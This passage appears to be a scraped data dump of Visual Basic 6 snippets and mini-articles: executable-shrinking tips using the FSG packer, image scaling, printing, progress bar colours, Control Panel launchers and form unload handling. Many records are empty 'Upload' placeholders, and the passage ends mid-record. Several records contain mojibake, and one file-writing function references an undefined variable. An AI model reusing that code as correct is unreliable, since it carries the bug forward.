\nBefore starting to use the tools I will mention, there are \nsome basic tricks you can do. (Note that this assumes you are working on a very \nsmall VB application, not a fully-fledged product). \nDeoptimizing your code for speed\nFirstly, since we are aiming for size, try to \nremove code like Variable1 = API Call Variable2 = API call(Variable1) \nVariable3 = TrimNull(Variable2) and replace it with a single line of code TrimNull(API \nCall(API Call)). Try to remove as many variables as you can from your code.\n\nAnother trick is that VB saves your project name in the \nexecutable, sometimes more then once, as well as your module/form's name. You \ncan make the file even smaller by renaming your project and components to only \none character. \nFinally, the last big code optimisation you can do (and this \nhelps speed too) is to replace aliases by the real API name. Use ShellExecuteA \ninstead of ShellExecute Alias \"ShellExecuteA\". Even better, if you are \ndevelopping only for your computer or a single OS (XP for example), replace the \nAPI Name by their Ordinal Value. An Ordinal is a number that represents the \nlocation of the API inside a DLL. You can use the \"Depends\" tool that comes with \nVB6 to find the ordinals of each function. Then, just use \"ShellExecuteA Lib \n\"user32\" Alias \"#xxx\" where XXX is the ordinal of ShellExecuteA. This will also \nmake your code much faster, and much smaller. \nThe last trick of course, is to compile in P-Code, as once \nagain, we don't care about speed. \nHowever, you will probably notice that even after applying \nthese optimisations, your file still has the same size. That is because VB uses \na very large alignment (the space between sections within an exectuable) and \nyour file will be padded with NULLs to reach 12K, no matter what. This is where \nit gets a bit more complicated. \nPackers\nYour first choice is to use a packer called FSG (look for FSG \n1.33 packer on google). The packer will make your file around 3K. \nOr, you can use CompileController, from this site (Note that \nthe code was \"borrowed\" from VBPJ by the author) and specifiy /FILEALIGN:0x200 \nduring the linking process. This will make VB create a pure EXE file, but around \n5-6K, instead of a file that will run in memory (as FSG). Save yourself the \ntrouble, and just use FSG instead. It is much better then UPX by the way. \n\nDeleting ressources\nHowever, you might still want to squeeze more out of your \napplication's size. I promised 1-2K, not 3K as FSG probably did. Well, after \ncompiling your executable, open it with \"Resource Hacker\" (google it) and delete \nall the ressources inside (Version Info and Icons). Don't save it just yet, as \npackers cannot compress ressource-empty files. The trick here is to create a \n1byte file (with notepad) and save it somewhere. Then, still in Resource Hacker, \ngo to the Action Menu, and select Add New Ressource. Select the file you just \nmade, and use type 3, name 1. Your file will now have a 1-byte dummy icon. Save \nit. \nThe 12K executable might now be 11K, or 10.5, or might still \nstay at 12K because of the padding, but don't worry, FSG will see the \ndifference. Use it on the ressource-empty file, and you should reach 2K. \n\nOf course, once again, this article assumed you are making \nsome small helper application for your main app. It will have no icon, have \nunoptimized coding practices, and, depending on which API technique you used, \nwill only work on a single OS. However, if that is what you are looking for, \nthis article will help you squish those big nasty 16K files. As final trick, try \nusing API code instead of Forms/Controls. Look for Viktor E.'s great code \nexamples.\nI hope everyone had at least something to learn from this!"},{"WorldId":1,"id":45425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45560,"LineNumber":1,"line":"<pre>\n'~ Commented version -- Uncommented version is below\n'~ Simply to show how short and easy this really is\nPrivate Sub Reset_Image()\nImage1.Visible = False\nIf Image1.Picture Then\n'~ this is used in case the image changes\n'~ if it's not used, the image control is\n'~ still the same size as the previous pic\n Image1.Height = Image1.Picture.Height\n Image1.Width = Image1.Picture.Width\n If Image1.Picture.Height > Image1.Picture.Width Then\n'~ the Pic is taller than wide\n Image1.Height = Picture1.Height\n Image1.Width = Image1.Width / (Image1.Picture.Height / Image1.Height)\n \n If Image1.Width > Picture1.Width Then\n'~ If the PictureBox isn't square, the pic still may be larger than it\n Image1.Width = Picture1.Width\n Image1.Height = Image1.Picture.Height / (Image1.Picture.Width / Image1.Width)\n End If\n End If\n If Image1.Picture.Width > Image1.Picture.Height Then\n'~ Image is wider than tall\n Image1.Width = Picture1.Width\n Image1.Height = Image1.Height / (Image1.Picture.Width / Image1.Width)\n If Image1.Height > Picture1.Height Then\n Image1.Height = Picture1.Height\n Image1.Width = Image1.Picture.Width / (Image1.Picture.Height / Image1.Height)\n End If\n End If\n \n'~ Center Image1 within Picture1\n Image1.Left = (Picture1.Width / 2) - (Image1.Width / 2)\n Image1.Top = (Picture1.Height / 2) - (Image1.Height / 2)\n Image1.Visible = True\nEnd If\nEnd Sub\n\n\n\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'\n'~ UN-Commented version of the same sub\n'~ Don't use both at the same time\nPrivate Sub Reset_Image()\nImage1.Visible = False\nIf Image1.Picture Then\n Image1.Height = Image1.Picture.Height\n Image1.Width = Image1.Picture.Width\n If Image1.Picture.Height > Image1.Picture.Width Then\n Image1.Height = Picture1.Height\n Image1.Width = Image1.Width / (Image1.Picture.Height / Image1.Height)\n If Image1.Width > Picture1.Width Then\n Image1.Width = Picture1.Width\n Image1.Height = Image1.Picture.Height / (Image1.Picture.Width / Image1.Width)\n End If\n End If\n If Image1.Picture.Width > Image1.Picture.Height Then\n Image1.Width = Picture1.Width\n Image1.Height = Image1.Height / (Image1.Picture.Width / Image1.Width)\n If Image1.Height > Picture1.Height Then\n Image1.Height = Picture1.Height\n Image1.Width = Image1.Picture.Width / (Image1.Picture.Height / Image1.Height)\n End If\n End If\n Image1.Left = (Picture1.Width / 2) - (Image1.Width / 2)\n Image1.Top = (Picture1.Height / 2) - (Image1.Height / 2)\n Image1.Visible = True\nEnd If\nEnd Sub\n</pre>"},{"WorldId":1,"id":45571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45597,"LineNumber":1,"line":"Sub Print_rec()\nOn Error GoTo print_err\nWith Printer\n .Orientation = 1 '1 = portrait, 2 = landscape\n .CurrentX = 3000 ' move text over and down for title\n .CurrentY = 1440\n .FontBold = True\n .FontSize = 12\n Printer.Print \"Record Details\"\n .FontSize = 9 'Change back font size\n .FontBold = False 'Change back to none bold font\n \n'This section loops through the controls on the screen and prints the contents of the control.\n' I used the tag property to filter controls as there was some controls on the screen I didnt want printing (buttons, check boxes etc.)\nFor Each Control In Me.Controls\n If Control.Tag = \"prt\" Then \n .CurrentX = Control.Left + 250 ' sets the position for printing (+ 250 move's it in about 1cm from side of sheet)\n .CurrentY = Control.Top + 2400 ' + 2400 allows space for title\n If Control.Name Like \"lbl*\" Then\n Printer.Print Control.Caption & \":\" 'print label captions and a \":\"\n Else\n Printer.Print Control.Text ' prints contents of text box\n End If\n End If\nNext Control\n.EndDoc\nEnd With\nMsgBox \"Printed!\"\nExit Sub\nprint_err:\n MsgBox \"Error in printing tender details.\"\n Exit Sub\nEnd Sub"},{"WorldId":1,"id":45601,"LineNumber":1,"line":"Private Declare Function GetModuleFileName Lib \"kernel32\" _\n Alias \"GetModuleFileNameA\" (ByVal hModule As Long, _\n ByVal lpFileName As String, ByVal nSize As Long) As Long\nPublic Function FullAppName() As String\n Dim modName As String * 256\n Dim i As Long\n i = GetModuleFileName(App.hInstance, modName, Len(modName))\n FullAppName = Left$(modName, i)\nEnd Function\n"},{"WorldId":1,"id":45613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45684,"LineNumber":1,"line":"Day(DateSerial(Year(ChkDate), Month(ChkDate) + 1, 0))\n' That┬┤s all - and supports jullian years! ;-)"},{"WorldId":1,"id":45685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45730,"LineNumber":1,"line":"Do you have a webserver but hate the IP Address you have to type in? This article explains how to use a hostname instead of a IP Address.\nThe hostname for your webserver you already have and you can use it. The hostname for your webserver is your computer name. To see what your computer name is: \n - Click Start\n - Settings\n - Control Panel\n - System\n - (ON WIN XP) Click the tab Computer Name\n - You will see a line that says \"Full Computer Name: -Computer Name-\" That is your hostname.\nThat is the name that can be used instead of your ip address. To change your Computer Name (IN WIN XP)\n - Click Change... Button in the computer name tab in System.\n - The text box at the top is where you can change your computer name(HOSTNAME).\nYou will notice that when you try your hostname you cant use a suffix like (.com) (.org) (.net). Thats because you didnt set the suffix for your computer name. \n In (Change... Button) window you will see you have the textbox and another button that says (More...) click it. In that window you see there is a text box at the top with a label above it that says (Primary DNS suffix of this computer:). That is where you put the (com)(org)(net). Leave out the \".\" though. \n Thats about it. Hope this helps alot of you out there.\n"},{"WorldId":1,"id":45751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45762,"LineNumber":1,"line":"There is a code to change the background / \nforeground color of progressbar here on PSC \nby Juha S├╢derqvist , Very cool that you could \ndo something like this. but, How do you figure\nthis out? Well I can tell you how.\n These controls are written in C++ and there\nproperties are stored in header files, Files with\nthe \".h\" extension. If you do a little work you\nwill find the information you need to pull off\nthese hidden features. The main thing you need to\nknow is the windows message constants. How did we\nget to them? Here is the method I used. You have\nto have C++ installed.\nFirst I did a search in the visual studio include\nfolder (C:\\Program Files\\Microsoft Visual Studio\\VC98\\Include)\nfor \"*.h\" files that contained the text \n\"PROGRESS\", I got back 90 files. The progress bar\nis add with the Common Controls, So I looked for \na file that seemed to be related and found \n\"COMMCTRL.H\". I opened it up and searched the\ntext for \"Progress\" and found the following line:\n//====== PROGRESS CONTROL =====================================================\nThis looked like the right place, so I looked for\nthe naming prefix for the control. The first thing\nlisted was (#define PBS_SMOOTH 0x01)\nPBS, So I then looked for something like back\nground color and found \n(#define PBM_SETBARCOLOR (WM_USER+9)\t\t// lParam = bar color).\n The important part here is the definition\n (WM_USER+9), We now need to find out what is the\ndefinition of WM_USER. I searched the text but it\nwas not there, so it must have been in an include\nfile. I then did another search in the same\ndirectory for \"define WM_USER\" and only got back\none file called \"WINUSER.H\", In this file I\nsearched for the text \"#define WM_USER\" and found\nthe line \n(#define WM_USER 0x0400).\nWell now we have all we need to set the bar color\n(ForegroundColor). 0x0400 is a hex number so we\nuse a calculator to get the decimal value and\ncome back with 1024, Now add the 9 from the\nWM_USER+9 and you get the number 1033. this is\nthe number constant we need for the controls bar\ncolor. Just put it into the SendMessage API\n{Public Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long}\nand send it an RGB color for the lParam variable,\nand the progressbar's handle(progressbar1.hwnd)\nfor the hwnd variable and run the program\n{lngRet = SendMessage(progressbar1.hwnd, 1033, 0, ByVal RGB(100, 255, 0))}.\n \nYour code might look like this,\n{\nOption Explicit\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _\n lParam As Any) As Long\nEnum PB_Colors\n PB_SetBarColor = 1033\n PB_SetBackColor = 8193\nEnd Enum\n \nPrivate Sub Form_Load()\n Dim lngRet As Long\n With ProgressBar1\n ' Set the bar color\n lngRet = SendMessage(.hwnd, PB_SetBarColor, 0, ByVal RGB(0, 255, 0))\n ' Set the back color\n lngRet = SendMessage(.hwnd, PB_SetBackColor, 0, ByVal RGB(0, 0, 0))\n \n .Value = 50\n \n End With\nEnd Sub\n}\nThere it is the forground color now show up as\nthe rgb color you sent it. A little more research\nand I found the information to set the background\ncolor. The variables I found where on lines like\nthese ones here. \n#define PBM_SETBKCOLOR CCM_SETBKCOLOR // lParam = bkColor\n#define CCM_SETBKCOLOR (CCM_FIRST + 1) // lParam is bkColor\n#define CCM_FIRST 0x2000 // Common control shared messages"},{"WorldId":1,"id":45763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45770,"LineNumber":1,"line":"Along with given samples, it shows one how to manipulate the idea out \nof raw information provided by MSDN library.\nDownload the zip file,check out the MS Word document(API_FromScratch.doc) for details.\nbrandonteohno1@yahoo.com - peace"},{"WorldId":1,"id":45771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45782,"LineNumber":1,"line":"Private Function IsScrollBarVisible(ControlHwnd As Long) As Boolean\nDim blnResult As Boolean\nDim wndStyle As Long\n \n 'Retrieve the window style of the control.\n wndStyle = GetWindowLong(ControlHwnd, GWL_STYLE)\n \n 'Test if the vertical scroll bar style is present\n 'in the window style, indicating that a vertical\n 'scroll bar is visible.\n If (wndStyle And WS_VSCROLL) <> 0 Then\n blnResult = True\n End If\n \n ' Test if the horizontal scroll bar style is present\n ' in the window style, indicating that a horizontal\n ' scroll bar is visible.\n If (wndStyle And WS_HSCROLL) <> 0 Then\n blnResult = True\n End If\n \n IsScrollBarVisible = blnResult\nEnd Function"},{"WorldId":1,"id":45786,"LineNumber":1,"line":"Comparing Select Case \nto If...ElseIf....End \nIf.... \nWhenever possible try to use the Select Case structure. \n Reason's are as follow's ; \n A> Better understandability \n of the code you just wrote. \n B> Lead's to smaller \n coding structure's . \n C> Will decrease \n the Informational Complexity of the \n procedure by at least 10% ( This is a good thing ! )\n \nD> Lead's to re-use-ability \nof your code . \nFor instance ; \n Look at the following structure's :\nA: \n Private Sub DecisionStructuresCollide() \n If Text1.Text = 1 Then \n \n ' Do something \n ElseIf Text1.Text = 2 Then \n \n ' Do something \n End If \n End Sub\nTo use the above structure is messy and will \n lead to relentlessly \n repeated code , thus over-bloating your procedure.\nB: \n Private Sub DecisionStructuresCollide() \n Dim sMyString As String \n ' Build the Variable Structure \n sMyString = Text1.Text ' Pass the Text in Text1.Text into \n the Variable as a String \n\nSelect Case sMyString \n Case 1 ' Text1.Text Equaled \n 1 \n ' Do Something \n Case 2 ' Text1.Text Equaled \n 2 \n ' Do Something else \n Case Else ' Text1.Text Equaled \n something else so \n ' we can still be flexible and do \n ' something else. Although the Case \n ' Else statement is not required\nSeeInCaseProcedureDoSomethingElse ' Do Something else\nEnd Select ' Each Select \n Case Statement must be \n ' accompanied with a closing End Select \n ' statement \nEnd Sub\nExample B is definately much cleaner code and \n much \n easier to read , not to mention the benefit's from the \n Informational Complexity being smaller.\nI'm not saying that in 100% of all cases should one use the \n Select Case Structure , however , whenever possible \n it \n will lead to a much better coding practice that you would \n automatically try to stick to and then if your procedure \n cannot be done by using this structure , then you can fall \n back onto the old If.....ElseIf......End \n If...... routine."},{"WorldId":1,"id":45791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45794,"LineNumber":1,"line":"\n'Purpose:This class is used to read and create files text files\n'Dependancies:must add Reference Microsoft Scripting Runtime\n'Creation Date: ?\n'Author: Brent Luyet\n'Revision Date Revision By\n'1.02 3/30/03 BJL\nPublic Function read(InFile As String, outArray() As String)\n'Purpose:This function receives a filename and returns values in an array\n'Creation Date:?\n'Author: Brent Luyet\n'Revision Date Revision By\n'1.01 1/30/03 mst\nDim fso As New FileSystemObject 'must add Reference Microsoft Scripting Runtime\nDim fts As TextStream\nDim inString As String 'temp value to hold string read from file\nSet fts = fso.OpenTextFile(InFile, ForReading, False) 'open infile for read only\ninString = fts.ReadAll 'read entire file into inString\noutArray = Split(inString, vbCrLf) 'split inString into outArray\n'Clean up\nfts.Close\nSet fts = Nothing\nSet fso = Nothing\nEnd Function\nPublic Function WriteFile(ByVal OutFile As String, ByRef outArray() As String)\n'Purpose:This function will create a file using the values passed in the value out array\n'Creation Date: Date Class was created\n'Author: Brent Lyute\n'Revision Date Revision By\n'1.01 1/30/03 mst\nDim fso As New FileSystemObject 'must add Reference Microsoft Scripting Runtime\nDim fts As TextStream\nDim OutString As String 'temp val for holding array before writing to file\nOutString = Join(WriteOut, vbCrLf) 'join array to temp string outString\nSet fts = fso.OpenTextFile(OutFile, ForWriting, True) 'Open OutFile for write, overwrite\nfts.Write OutString ' Write temp string outString to OutFile\n'Clean UP\nfts.Close\nSet fts = Nothing\nSet fso = Nothing\nEnd Function\n"},{"WorldId":1,"id":45798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45806,"LineNumber":1,"line":" I recommend going to the website \n\"http://math.msu.su/~vfnik/WinApi/index.html\"\n\nthrow two textboxes, one commandbutton on the form \n give the names txtBinSize & txtNumItems to textboxes \nPrivate Const S_OK = &H0\nPrivate Type ULARGE_INTEGER\n LowPart As Long\n HighPart As Long\nEnd Type\nPrivate Type SHQUERYRBINFO \n cbSize As Long\n i64Size As ULARGE_INTEGER\n i64NumItems As ULARGE_INTEGER\nEnd Type\nPrivate Declare Function SHQueryRecycleBin Lib \"shell32.dll\" _\n Alias \"SHQueryRecycleBinA\" (ByVal pszRootPath As String, _\n pSHQueryRBInfo As SHQUERYRBINFO) As Long\n\nPrivate Sub Command1_Click()\n ' Display the number of items in the Recycle Bin on the C: drive and the size of it.\n\n 'information about the bin \n Dim rbinfo As SHQUERYRBINFO \n Dim retval As Long ' return value \n ' Initialize the size of the structure.\n rbinfo.cbSize = Len(rbinfo)\n \n ' Query the contents of C:'s Recycle Bin.\n ' the path doesn't have to be the root path\n retval = SHQueryRecycleBin(\"C:\\\", rbinfo)\n \n ' Display the number of items in the Recycle Bin, if the value is\n ' within Visual Basic's numeric display limits.\n If (rbinfo.i64NumItems.LowPart And &H80000000) = &H80000000 Or _\n rbinfo.i64NumItems.HighPart > 0 Then \n txtNumItems = \"Recycle Bin contains more than 2,147,483,647 items.\" \n Else \n txtNumItems = \"Recycle Bin contains \" & rbinfo.i64NumItems.LowPart & \" items.\" \n End If \n \n ' Likewise display the number of bytes the Recycle Bin is taking up.\n If (rbinfo.i64Size.LowPart And &H80000000) = &H80000000 Or rbinfo.i64Size.HighPart > 0 Then \n txtBinSize = \"Recycle Bin consumes more than 2,147,483,647 bytes.\" \n Else \n txtBinSize = \"Recycle Bin consumes \" & rbinfo.i64Size.LowPart & \" bytes.\" \n End If\nEnd Sub \n"},{"WorldId":1,"id":45826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45903,"LineNumber":1,"line":"Private Type SHELLEXECUTEINFO\n cbSize As Long\n fMask As Long\n hwnd As Long\n lpVerb As String\n lpFile As String\n lpParameters As String\n lpDirectory As String\n nShow As Long\n hInstApp As Long\n lpIDList As Long 'Optional\n lpClass As String 'Optional\n hkeyClass As Long 'Optional\n dwHotKey As Long 'Optional\n hIcon As Long 'Optional\n hProcess As Long 'Optional\nEnd Type\nPrivate Const SEE_MASK_INVOKEIDLIST = &HC\nPrivate Const SEE_MASK_NOCLOSEPROCESS = &H40\nPrivate Const SEE_MASK_FLAG_NO_UI = &H400\nPrivate Declare Function ShellExecuteEx Lib \"shell32\" _\n Alias \"ShellExecuteExA\" _\n (SEI As SHELLEXECUTEINFO) As Long\n \nPrivate Sub Form_Load()\n Command1.Caption = \"Show Properties\"\n \n 'assure string points to a valid file\n 'on your system\n Text1.Text = \"c:\\windows\\notepad.exe\"\n \nEnd Sub\n\nPrivate Sub Command1_Click()\n \n 'show the properties dialog, passing the filename\n 'and the owner of the dialog \n Call ShowProperties(Text1.Text, Me.hwnd) \nEnd Sub\n\nPrivate Sub Command2_Click()\n \n Unload Me\n \nEnd Sub\n\nPrivate Sub ShowProperties(sFilename As String, hWndOwner As Long)\n \n 'open a file properties property page for \n 'specified file if return value\n Dim SEI As SHELLEXECUTEINFO\n \n 'Fill in the SHELLEXECUTEINFO structure \n With SEI\n .cbSize = Len(SEI)\n .fMask = SEE_MASK_NOCLOSEPROCESS Or _\n SEE_MASK_INVOKEIDLIST Or _\n SEE_MASK_FLAG_NO_UI\n .hwnd = hWndOwner\n .lpVerb = \"properties\"\n .lpFile = sFilename\n .lpParameters = vbNullChar\n .lpDirectory = vbNullChar\n .nShow = 0\n .hInstApp = 0\n .lpIDList = 0\n End With\n \n 'call the API to display the property sheet \n Call ShellExecuteEX(SEI)\n \nEnd Sub"},{"WorldId":1,"id":45904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45905,"LineNumber":1,"line":"'///////////////////////////////////////\n'Excerpt from MSDN documentation.\n'///////////////////////////////////////\n'vbFormControlMenu 0 : The user chose the Close command from the Control menu on the form.\n\n'vbFormCode 1 : The Unload statement is invoked from code.\n'vbAppWindows 2 : The current Microsoft Windows operating environment session is ending.\n\n'vbAppTaskManager 3 : The Microsoft Windows Task Manager is closing the application.\n'Remarks\n'This event is typically used to make sure there are no unfinished tasks in the forms\n'included in an application before that application closes.\n'For example, if a user has not yet saved some new data in any form,\n'your application can prompt the user to save the data.\n'When an application closes, you can use either the QueryUnload or Unload\n'event procedure to set the Cancel property to True, stopping the closing process.\n'However, the QueryUnload event occurs in all forms before any are unloaded,\n'and the Unload event occurs as each form is unloaded.\n\nPrivate Sub Command1_Click()\n Unload Me\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n Select Case UnloadMode\n Case vbFormControlMenu\n 'The user clicked the Close button on the upper-right of form\n If MsgBox(\"UnloadMode : Close button. Wanna exit?\", vbYesNo) = vbNo Then\n Cancel = True\n End If\n Case vbFormCode\n 'There's Unload statement in the code.\n If MsgBox(\"UnloadMode : Unload statement. Wanna exit?\", vbYesNo) = vbNo Then\n Cancel = True\n End If\n Case vbAppWindows\n 'Windows OS session is ending.\n If MsgBox(\"UnloadMode : Windows OS. Wanna exit?\", vbYesNo) = vbNo Then\n Cancel = True\n End If\n Case vbAppTaskManager\n 'Windows Task Manager is closing this app.\n If MsgBox(\"UnloadMode : Task Manager. Wanna exit?\", vbYesNo) = vbNo Then\n Cancel = True\n End If\n End Select\nEnd Sub\n"},{"WorldId":1,"id":46099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46106,"LineNumber":1,"line":"visit http://www.hybrid-factor.co.uk/dn/index.htm for desknote homepage. (fixed missing files in the zip)"},{"WorldId":1,"id":46109,"LineNumber":1,"line":"Private Sub Command1_Click()\n'Display control panel\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL\", _\n vbNormalFocus)\n \nEnd Sub\n\nPrivate Sub Command2_Click()\n'View the display settings!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0\", vbNormalFocus)\nEnd Sub\n\nPrivate Sub Command3_Click()\n'\n'Display Mouse settings with 1 line!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL main.cpl @0\", vbNormalFocus)\nEnd Sub\n\nPrivate Sub Command4_Click()\n'Display the Keyboard settings with 1 line!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL main.cpl @1\", vbNormalFocus)\nEnd Sub\n\nPrivate Sub Command5_Click()\n'Display Modem settings!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL modem.cpl\", vbNormalFocus)\nEnd Sub\nPrivate Sub Command6_Click()\n'Display Printer settings!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL main.cpl @2\", vbNormalFocus)\nEnd Sub\n\nPrivate Sub Command7_Click()\n'Display time/date settings!\nCall Shell(\"rundll32.exe shell32.dll,Control_RunDLL timedate.cpl\", vbNormalFocus)\n\nEnd Sub\nPrivate Sub Form_Load()\nCommand1.Caption = \"Display Control panel\"\nCommand2.Caption = \"View the display settings\"\nCommand3.Caption = \"Display Mouse settings\"\nCommand4.Caption = \"Display the Keyboard settings\"\nCommand5.Caption = \"Display Modem settings\"\nCommand6.Caption = \"Display Printer settings\"\nCommand7.Caption = \"Display time/date settings\"\nEnd Sub"},{"WorldId":1,"id":46111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46204,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46212,"LineNumber":1,"line":"<html>\nWindows\nAPI\n┬á\nFull form : API --- Application Programming\nInterface\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nDLL --- Dynamic Link Library\n┬á\nThe Windows API is a collection of routines available to you,\nthe Visual Basic programmer. In a way, these API routines are like internal\nfunctions of Visual Basic.\n┬áSo many Windows API routines exist that just about\nanything you can do from Windows, you can do from a Visual Basic application by\ncalling the appropriate Windows API routine.\nAll Windows API routines are stored in files called DLLs.\nSeveral thousand API routines are available for use.\n┬á\nNote : Most DLL files have '.DLL' extension.\nAny program you write has access to the Windows DLLs.\n┬á\nFollowing are the three most common DLLs :\n<ul>\n <li>\n USER32.DLL --- Contains functions that control the\n Windows environment and the user's interface, such as cursors, menus,\n windows 